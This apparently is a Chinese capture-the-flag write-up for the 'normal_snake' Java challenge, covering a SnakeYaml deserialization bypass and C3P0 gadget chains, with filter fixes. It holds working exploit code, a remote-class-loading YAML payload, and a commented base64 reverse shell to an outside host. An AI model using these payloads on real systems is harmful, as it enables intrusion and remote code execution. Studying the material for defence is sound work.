国赛终于解出Java题了,顺利拿下一血,思路之前也学过。继续加油

normal_snake

题目解读

  @RequestMapping({"/read"})
public String hello(@RequestParam(name = "data", required = false) String data, Model model) {
try {
if (data.contains("!!"))
return "pls dont do that!!!";
new SafeConstructorWithException(data);
Yaml yaml = new Yaml();
yaml.load(data);
return "Well done";
} catch (SafeStringException e) {
return "Unsafe data detected!";
} catch (CustomException e) {
return "No way to pass!";
} catch (Exception e) {
return "snake snake snake!";
}
}

hello 路由下存在 SnakeYaml 反序列化漏洞,禁用了 yaml 的常用头 !!。但是可以通过 tag 头进行绕过

!<tag:yaml.org,2002:com.sun.rowset.JdbcRowSetImpl>\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true

!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"rmi://localhost:1234/Exploit\"\n autoCommit: true

或者是

%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]

SafeConstructorWithException 中过滤了常见的 payload 关键字,HEX 编码部分禁用了 BadAttributeValueExpException 和 HotSwappableTargetSource。这些都不重要

private void checkForExceptions() throws RuntimeException, RuntimeException {
String upperCaseData = this.data.toUpperCase();
if (!upperCaseData.contains("JAVA") && !upperCaseData.contains("JNDI") && !upperCaseData.contains("JDBC")) {
if (upperCaseData.contains("42616441747472696275746556616C7565457870457863657074696F6E") || upperCaseData.contains("486F74537761707061626C65546172676574536F75726365")) {
throw new RuntimeException("No way to pass!");
}
} else {
throw new RuntimeException("Unsafe data detected!");
}
}

攻击 break

给了C3P0的依赖,所以肯定是用C3P0来打

C3P0 利用链

C3P0 主要有以下利用链:

触发点 功效 适用性
JndiRefForwardingDataSource#setLoginTimeout -- InitialContext#lookup Jndi 注入 fastjson/snakeyaml/jackson
WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject Hex 解码后触发原生反序列化 fastjson/snakeyaml/jackson
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup Jndi 注入 Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader URLCLassLoader 远程类加载 Java原生反序列化
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- BeanFactory#getInstance 不出网的命令注入 Java原生反序列化不出网

JndiRefForwardingDataSource:Jndi 注入

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds) 可以触发 jndi 注入

com.mchange.v2.c3p0.JndiRefForwardingDataSource#setLoginTimeout(int seconds)
-com.mchange.v2.c3p0.JndiRefForwardingDataSource#inner()
-com.mchange.v2.c3p0.JndiRefForwardingDataSource#dereference()
-InitialContext#lookup()

SnakeYaml 可以触发该 setter 方法

String poc_snakeyaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n jndiName: \"rmi://127.0.0.1:1234/Exploit\"\n loginTimeout: 0";

WrapperConnectionPoolDataSource:Hex 二次反序列化

String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";

简单解释一下为什么 SnakeYaml 可以触发 Hex 二次反序列化这条链子:首先 SnakeYaml 在反序列化的时候会根据 yaml 中的类属性描述进行相关 setter 方法并调用

WrapperConnectionPoolDataSourceBase 是 WrapperConnectionPoolDataSource的父类

com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString在 snakeyaml 反序列化的时候会被调用

public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException
{
String oldVal = this.userOverridesAsString;
if ( ! eqOrBothNull( oldVal, userOverridesAsString ) )
vcs.fireVetoableChange( "userOverridesAsString", oldVal, userOverridesAsString );
this.userOverridesAsString = userOverridesAsString;
}

然后经过一系列调用栈

java.beans.VetoableChangeSupport#fireVetoableChange(String propertyName, Object oldValue, Object newValue)
-java.beans.VetoableChangeSupport#fireVetoableChange(PropertyChangeEvent event)
-java.beans.VetoableChangeListener#vetoableChange()
-C3P0ImplUtils#parseUserOverridesAsString()
-com.mchange.v2.ser.SerializableUtils#fromByteArray(byte[] bytes)
-com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)

C3P0ImplUtils#parseUserOverridesAsString方法:从形参处截取掉HASM_HEADER:HexAsciiSerializedMap字符串然后进行hex解码为字节数组

com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray(byte[] bytes)处理字节数组调用原生反序列化。

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:jndi 注入

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
-IndirectlySerialized#getObject()
-com.mchange.v2.naming.ReferenceIndirector#getObject()
-InitialContext#lookup()

com.mchange.v2.naming.ReferenceIndirector#getObject() 内部可以触发 JNDI 注入

具体怎么得到正确的序列化流下部分讲解

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:远程类加载

利用链可参考ysoerial

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()
-IndirectlySerialized#getObject()
-com.mchange.v2.naming.ReferenceIndirector#getObject()
-com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)
-URLClassLoader

com.mchange.v2.naming.ReferenceableUtils#referenceToObject(Reference ref,Name name,Context nameCtx,Hashtable env)这里会获取通过 URLClassLoader 来加载远程的类并进行初始化和 getObjectInstance 方法的调用。因此可以直接在静态块里面放入恶意数据进行RCE

PoolBackedDataSourceBase 反序列化

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()

红框中的 ois.readObject() 获取的是 IndirectlySerialized 对象,IndirectlySerialized 是一个接口,其的唯一子类是 ReferenceSerialized,但是 ReferenceSerialized 是 ReferenceIndirector 类内部的私有类,该类不能进行初始化操作。所以我们现在要康康 writeObject 是如何将 ReferenceSerialized 写入到序列化流中的

PoolBackedDataSourceBase 序列化

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject() 中,如果序列化的类是不可序列化的话(NotSerializableException),将会在 catch 块中对 connectionPoolDataSource 属性用 ReferenceIndirector.indirectForm 方法处理后再进行序列化操作。(connectionPoolDataSource 属性是 ConnectionPoolDataSource 类的实例)

ReferenceIndirector.indirectForm 方法中会取出参数 ConnectionPoolDataSource 实例中的 Reference 对象并构造出可序列化的 ReferenceSerialized 对象并返回

public IndirectlySerialized indirectForm( Object orig ) throws Exception
{
Reference ref = ((Referenceable) orig).getReference();
return new ReferenceSerialized( ref, name, contextName, environmentProperties );
}
ReferenceSerialized( Reference reference,
Name name,
Name contextName,
Hashtable env )
{
this.reference = reference;
this.name = name;
this.contextName = contextName;
this.env = env;
}

所以我们就需要序列化一个没有实现 Serializable 接口的 ConnectionPoolDataSource 的实例才能将 IndirectlySerialized 写入到序列化流中,ConnectionPoolDataSource 接口有俩个子类,不过遗憾的是它们俩都可以被序列化

  • WrapperConnectionPoolDataSource
  • JndiRefConnectionPoolDataSource

那么只能自己写一个实现 ConnectionPoolDataSource 接口的类但是不可被序列化的类咯

class C3P0DataSource implements ConnectionPoolDataSource, Referenceable {

    @Override
public Reference getReference() throws NamingException {
Reference reference = new Reference("Payload8","Payload8","http://172.1.39.101:5555/payload8.jar");
return reference;
} @Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
} @Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
} @Override
public PrintWriter getLogWriter() throws SQLException {
return null;
} @Override
public void setLogWriter(PrintWriter out) throws SQLException { } @Override
public void setLoginTimeout(int seconds) throws SQLException { } @Override
public int getLoginTimeout() throws SQLException {
return 0;
} @Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

大功告成

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject:BeanFactory不出网

JAVA反序列化之C3P0不出网利用 和 JNDI 高版本注入很像

解题思路

因为题目的入口点是 Yaml.load 然后又给了 C3P0 依赖,又过滤了 jndi 之类的关键字,所以能想到肯定是 SnakeYaml + C3P0 的 HEX 二次反序列化。根据上面的 5 条 C3P0 利用链,选择 SnakeYaml 反序列化触发原生反序列化

WrapperConnectionPoolDataSource#setUserOverridesAsString -- ObjectInputStream#readObject

然后再触发远程类加载或者jndi注入

com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- InitialContext#lookup
or
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject -- IndirectlySerialized#getObject() -- com.mchange.v2.naming.ReferenceableUtils#referenceToObject -- URLClassLoader

这俩种都可以,我最后选择了 URLClassLoader 远程加载类来触发

EXP

生成序列化内容:

public class Main2 {
private static String string = "";
private static byte[] data;
public static void main(String[] args) throws Exception {
//URLClassLoader
C3P0DataSource c3P0DataSource = new C3P0DataSource(); Class clazz = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase");
Constructor declaredConstructor = clazz.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
PoolBackedDataSourceBase poolBackedDataSourceBase = (PoolBackedDataSourceBase)declaredConstructor.newInstance();
setFieldValue("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase",poolBackedDataSourceBase,"connectionPoolDataSource",c3P0DataSource); serialize(poolBackedDataSourceBase);
//unserialize();
String hexAscii = ByteUtils.toHexAscii(data);
System.out.println(hexAscii);
String poc = "!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: \"HexAsciiSerializedMap:" +hexAscii+ ";\"}";
System.out.println(poc);
Yaml yaml = new Yaml();
//yaml.load(poc);
}
public static void setFieldValue(String className,Object object, String field_name, Object field_value) throws Exception {
Class clazz = Class.forName(className);
Field declaredField = clazz.getDeclaredField(field_name);
declaredField.setAccessible(true);
declaredField.set(object,field_value);
}
public static void serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
//string = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
data = byteArrayOutputStream.toByteArray();
}
public static void unserialize() throws Exception {
//ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(Base64.getDecoder().decode(string));
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(data);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
} class C3P0DataSource implements ConnectionPoolDataSource, Referenceable { @Override
public Reference getReference() throws NamingException {
Reference reference = new Reference("Payload8","Payload8","http://127.0.0.1:5555/payload8.jar");
//Reference reference = new Reference("Payloadxx","Payloadxx","");
return reference;
} @Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
} @Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
} @Override
public PrintWriter getLogWriter() throws SQLException {
return null;
} @Override
public void setLogWriter(PrintWriter out) throws SQLException { } @Override
public void setLoginTimeout(int seconds) throws SQLException { } @Override
public int getLoginTimeout() throws SQLException {
return 0;
} @Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}

需要提前准备恶意类,并将其打包成 jar 包

public class Payload8 {
private static final long serialVersionUID = 1593252632163539756L;
static{
String string = "calc";
String[] commands = null;
String command = "";
if (System.getProperty("os.name").toLowerCase().contains("win")) {
commands = new String[]{"cmd", "/c", string};
} else {
//command = "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMS4zOS4xMDUvNzc3NyAwPiYxCg==}|{base64,-d}|{bash,-i}";
}
try {
Runtime.getRuntime().exec(commands);
//Runtime.getRuntime().exec(command);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

打 jar 包命令:

jar -cvf payload8.jar .

然后再本地打开监听端口

python -m http.server 5555

最后的 Poc:

!<tag:yaml.org,2002:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource> {userOverridesAsString: "HexAsciiSerializedMap:ACED000573720031636F6D2E6D6368616E67652E76322E633370302E696D706C2E506F6F6C4261636B656444617461536F757263654261736500000000000000010300084900106E756D48656C706572546872656164734C0018636F6E6E656374696F6E506F6F6C44617461536F757263657400244C6A617661782F73716C2F436F6E6E656374696F6E506F6F6C44617461536F757263653B4C000E64617461536F757263654E616D657400124C6A6176612F6C616E672F537472696E673B4C000A657874656E73696F6E7374000F4C6A6176612F7574696C2F4D61703B4C0014666163746F7279436C6173734C6F636174696F6E71007E00024C000D6964656E74697479546F6B656E71007E00024C00037063737400224C6A6176612F6265616E732F50726F70657274794368616E6765537570706F72743B4C00037663737400224C6A6176612F6265616E732F5665746F61626C654368616E6765537570706F72743B7870770200017372003D636F6D2E6D6368616E67652E76322E6E616D696E672E5265666572656E6365496E6469726563746F72245265666572656E636553657269616C697A6564621985D0D12AC2130200044C000B636F6E746578744E616D657400134C6A617661782F6E616D696E672F4E616D653B4C0003656E767400154C6A6176612F7574696C2F486173687461626C653B4C00046E616D6571007E00084C00097265666572656E63657400184C6A617661782F6E616D696E672F5265666572656E63653B7870707070737200166A617661782E6E616D696E672E5265666572656E6365E8C69EA2A8E98D090200044C000561646472737400124C6A6176612F7574696C2F566563746F723B4C000C636C617373466163746F727971007E00024C0014636C617373466163746F72794C6F636174696F6E71007E00024C0009636C6173734E616D6571007E00027870737200106A6176612E7574696C2E566563746F72D9977D5B803BAF010300034900116361706163697479496E6372656D656E7449000C656C656D656E74436F756E745B000B656C656D656E74446174617400135B4C6A6176612F6C616E672F4F626A6563743B78700000000000000000757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000A70707070707070707070787400085061796C6F616438740022687474703A2F2F3132372E302E302E313A353535352F7061796C6F6164382E6A617271007E001470737200256A6176612E7574696C2E436F6C6C656374696F6E7324556E6D6F6469666961626C654D6170F1A5A8FE74F507420200014C00016D71007E00037870737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F400000000000007708000000100000000078707077040000000378;"}

url 全编码打一下

修复 Fix

俩处任意修复一处就行吧

Fix1:

      if (data.contains("!!") || data.contains("!<tag") || data.contains("tag"))
return "pls dont do that!!!";

Fix2:

if (upperCaseData.contains("JAVA") || upperCaseData.contains("JNDI") || upperCaseData.contains("JDBC") || upperCaseData.contains("HEXASCIISERIALIZEDMAP") || upperCaseData.contains("ACED"))
throw new SafeStringException("Unsafe data detected!");

2023 华北分区赛 normal_snake的更多相关文章

  1. 强国杯东杯分区赛miscwp

    ​ 目录 不要被迷惑 PCAP文件分析 平正开 不要被迷惑 ​编辑 导出http ​编辑 得到flag.zip后直接爆破密码 ​编辑 得到​编辑 然后一键解码 ​编辑 flag{WImuJeqSNPh ...

  2. angularJs的ng-class切换class

    在angular中为我们提供了3种方案处理class: 1:scope变量绑定 2:字符串数组形式. 3:对象key/value处理. 第一种我们不推荐使用,看看其他两种解决方案: 字符串数组形式 字 ...

  3. ACRush 楼天成回忆录

    楼教主回忆录: 利用假期空闲之时,将这几年 GCJ , ACM , TopCoder 参加的一些重要比赛作个回顾.首先是 GCJ2006 的回忆. Google Code Jam 2006 一波三折: ...

  4. 楼天城楼教主的acm心路历程(作为励志用)

    楼主个人博客:小杰博客 利用假期空暇之时,将这几年GCJ,ACM,TopCoder 參加的一些重要比赛作个 回顾.昨天是GCJ2006 的回顾,今天时间上更早一些吧,我如今还清晰记得3 年 前,我刚刚 ...

  5. 实战经验|大神战队都在i春秋教你打CTF

    全国大学生信息安全竞赛创新实践能力赛旨在培养.选拔.推荐优秀信息安全专业人才创造条件,促进高等学校信息安全专业课程体系.教学内容和方法的改革,培养学生的创新意识与团队合作精神,普及信息安全知识,增强学 ...

  6. 我的大学,我的SPR机器人队

    时间过的真快,我这个在协会呆了好多年的老油条今年都毕业了,在石油大学大学七年几乎三分之二的时间就是在协会度过的.实话说在北京这是我最亲切的地方,这里有我喜欢的各种设备,有亲爱的老师和一起奋斗的队友,在 ...

  7. 【转】楼天城楼教主的acm心路历程(作为励志用)

    利用假期空闲之时,将这几年GCJ,ACM,TopCoder 参加的一些重要比赛作个回顾.昨天是GCJ2006 的回忆,今天时间上更早一些吧,我现在还清晰记得3 年前,我刚刚参加ACM 时参加北京赛区2 ...

  8. 关于2018年东南大学Robomaster算法组工作的总结

    笔者在写作时,为东南大学机器人俱乐部下Robomaster大赛SUPER NOVA战队算法组的负责人之一(这名字写起来好长).而SUPER NOVA战队则于2018年5月19日正式结束了中部分区赛,获 ...

  9. 剪辑的楼天城的ACM之路

    楼天城楼教主的acm心路历程(剪辑) 利用假期空闲之时,将这几年GCJ,ACM,TopCoder 参加的一些重要比赛作个回顾.昨天是GCJ2006 的回忆,今天时间上更早一些吧,我现在还清晰记得3 年 ...

  10. 楼塔当天领袖acm心理(作为励志使用)

    楼主个人博客:吉尔博客 假期空闲的时候使用.这些年来GCJ.ACM,TopCoder 的一个号码的一重要的比赛的参与 回顾.GCJ2006 的回顾,今天时间上更早一些吧,我如今还清晰记得3 年 前.我 ...

随机推荐

  1. aspnetcore中aop的实现

    aaspnetcore开发框架中实现aop不仅仅在业务上,在代码的优雅简洁和架构的稳定上都有着至关重要. 下面介绍三种用过的. 第一种通过System.Reflection的DispatchProxy ...

  2. JVM加载中初始化时机?什么时候不会进行初始化?

    初始化的过程是给静态变量赋予指定值以及执行静态代码块的过程. 当遇到new,getstatic,putstatic,invokestatic指令时要进行初始化,也就是new实例化对象,调用静态变量以及 ...

  3. Conda in Windows under MSYS2 and Zsh 的问题解决

    Conda in Windows under MSYS2 and Zsh 的问题解决 在Window11上使用git bash 安装zsh,并配置p10k主题,主要问题就是prompt中无法显示con ...

  4. Seata锁等待超时问题排查

    问题描述 生产环境,一个简单的事务方法,提交失败,报 Global lock wait timeout 伪代码如下: @GlobalTransactional(rollbackFor = Except ...

  5. mapState, mapActions

    <template> <div class="box"> <header class="header">分类头部</h ...

  6. JAVA网络编程样例

    这篇文章主要用来总结Java在网络编程中的知识点 下面是一个Java客户端与服务端通信的样例程序 //Server public class Server { public static void m ...

  7. [Windows/Linux]判别服务器: 虚拟机 | 物理机 ?

    物理主机,一般称: [宿主机] 虚拟机信息,一般涉及如下关键词: VMware : VMware 虚拟化技术 Vistualbox KVM(Kernel-based Virtual Machine): ...

  8. Python爬取pexels图片

    研究Python爬虫,网上很多爬取pexels图片的案例,我下载下来运行没有成功,总量有各种各样的问题. 作为菜鸟初学者,网上的各个案例代码对我还是有不少启发作用,我用搜索引擎+chatGPT逐步对代 ...

  9. handler+looper+messagequeue源码解析

    https://www.jianshu.com/p/b4d745c7ff7ahandler机制源码1.handler机制的作用在多线程的场景中,将子线程中需要更新UI的操作信息传递到UI主线程.多个线 ...

  10. MySQL(四)用户与权限管理

    用户与权限管理 用户管理 MySQL用户分为普通用户和root用户,提供了许多语句来管理包括登录.退出MySQL服务器.创建用户.删除用户.密码管理和权限管理等内容. 登录MySQL服务器 mysql ...